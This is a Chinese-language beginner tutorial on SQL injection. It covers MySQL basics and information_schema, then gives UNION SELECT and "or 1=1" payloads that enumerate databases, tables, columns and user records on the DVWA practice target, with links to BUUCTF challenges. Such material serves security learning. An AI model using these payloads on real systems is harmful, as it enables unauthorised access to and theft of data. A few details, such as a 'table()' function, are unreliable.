SQL注入的入门
SQL注入的入门
参考:
https://blog.csdn.net/weixin_45798017/article/details/105306095
https://sculptor-liu.github.io/2020/07/25/SQL%20%E6%B3%A8%E5%85%A5/
服务器以及其内部关系
一个服务器上有多个数据库,同时有着存放所有数据库的库,存放所有数据表的库,存放所有数据结构的库

对于一个数据库来说,一个数据库中可能存放多个数据表,一张表上有多个变量,例如长宽高,这个就是这个表的数据结构,而数据结构所对应的值就是数据内容,通常flag就在这个变量里。

1.SQL的基本命令
首先,进入mysql命令行
新版的
进入mysql的bin的存放路径->cmd
命令:
1 | mysql -uroot -proot //-u是账户名,-p是密码 都是root |


老版的:
其他选项菜单->mysql工具->mysql命令行

1.1 查找数据库
1 | show databases; |

1.2 使用数据库
1 | use dvwa; //当没有使用数据库时是无法访问该数据库下面的数据的 |

1.3 查找数据表
1 | show tables; |

1.4 查询数据结构
1 | desc users; |

1.5 创建新的数据库
1 | create database haoye; |

1.6 删除数据库
1 | drop database haoye; |

1.7 从数据表中查找所有数据
1 | select * from users; //*是所有的意思,users是上面dvwa数据库下面的一个数据表 |

1.8 or的注入原理
1 | select user,password,last_name from users where user='haoye' or 1=1; |

2.基本函数
2.1 版本
1 | version() |
2.2 数据库
1 | database() |
2.3 数据表
1 | table() |
3.基于information_schema
3.1 总的数据库
1 | information_schema.schemata |
3.2 数据库的库
1 | information_schema.schema |
3.3 数据表的库
1 | information_schema.tables |
3.4 数据结构的库
1 | information_schema.columns |
数据库
1 | table_schema |
数据表
1 | table_name |
数据结构
1 | column_name |
4.常用函数
4.1 group_concat()
利用 group_concat()函数可以得到所有库名,或者同一库名下的所有表名,省去了一个个的麻烦
函数里面加 schema_name,table_name,column_name 就可以了
同时,利用 union select group_concat(字段名) from (库名.表名) 可以得到字段内容
比如说,当原本网站后台源码只查询2个字段,然而我们想要3个数据,我们就可以这样查询、
1 | select 数据1,group_concat(数据2,数据2) from //这里就相当于数据1占据了一个位置,数据2和数据3占据同一个位置 |
5.常用注入语句
5.1 万能头
1 | 1' or 1=1# #是注释符号 |
5.2 查询字段长度
1 | 1' order by 1/2/3...# |
为什么要知道字段长度,因为对于后端源码来说,执行的是select+要查找的数据,格式大概为select 数据1,数据2,数据3…,,所以我们在进行注入时就要符合后端源码的格式,后端是要查找几个字段,我们在注入时候就要select几个字段;例如,下面这个源码显示,可以看出该后台源码查找的只有两个字段,所以我们当order by 3的时候报错

5.3 union select联合查询
union 操作符用于合并两个或者多个 SQL 语句集合起来,得到联合的查询结果
6.实例
靶机:DVWA
low级别
6.1.1 查看字段
1 | 1' order by 1/2/3...# |
6.1.2 查看数据库
1 | 1' union select 1,database()# |
1 | 1' union select 1,group_concat(schema_name)from information_schema.schemata# |

6.1.3 查看数据表
1 | 1' union select 1,group_concat(table_name)from information_schema.tables where table_schema="dvwa"# |

6.1.4 查看数据结构
1 | 1' union select 1,group_concat(column_name)from information_schema.columns where table_name="users"# |

6.1.5 查看数据结构中的内容
1 | 1' union select 1,group_concat(user)from dvwa.users# |

7.题目
BUUCTF
7.1 题目一
https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]EasySQL
7.2 题目二
https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]LoveSQL